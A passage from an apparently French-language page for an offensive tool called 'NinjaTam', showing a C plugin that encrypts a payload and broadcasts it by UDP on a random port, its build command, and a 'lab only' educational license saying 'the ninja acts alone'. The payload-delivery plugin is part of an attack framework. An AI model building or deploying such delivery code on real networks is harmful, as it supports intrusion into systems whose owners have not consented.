void run(Devices dev, unsigned char *payload, size_t len) {
size_t enc_len;
unsigned char *enc_payload = encrypt_payload(payload, len, &enc_len);
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(rand() % 64512 + 1024);
inet_pton(AF_INET, "192.168.1.255", &addr.sin_addr);
sendto(sock, enc_payload, enc_len > 1024 ? 1024 : enc_len, 0, (struct sockaddr *)&addr, sizeof(addr));
close(sock);
free(enc_payload);
printf("[TransportPlugin] Payload envoyé via UDP\n");
}Compilation : gcc -shared -fPIC -o transport_plugin.so transport_plugin.c -lssl -lcrypto
Note : À placer dans ninjatam_plugins/.
6️⃣ LICENCE – NINJATAM
NinjaTam – PLATON-Y License
© 2025 PCtamalou (PLATON-Y)
Permission est accordée, gratuitement, à toute personne d’utiliser, copier, et étudier ce code dans un environnement de laboratoire sécurisé et isolé à des fins éducatives uniquement. Toute utilisation hors lab, modification, distribution, ou exploitation malveillante est strictement interdite sans autorisation écrite explicite de l’auteur.
Ce logiciel est fourni "tel quel", sans garantie d’aucune sorte. L’auteur décline toute responsabilité en cas de dommages. Une fois lancé, le ninja agit seul.
Crédit : Mentionnez "NinjaTam by PCtamalou (PLATON-Y)" dans toute utilisation ou référence.
⚠️ LAB ONLY : Le ninja frappe, mais reste éthique.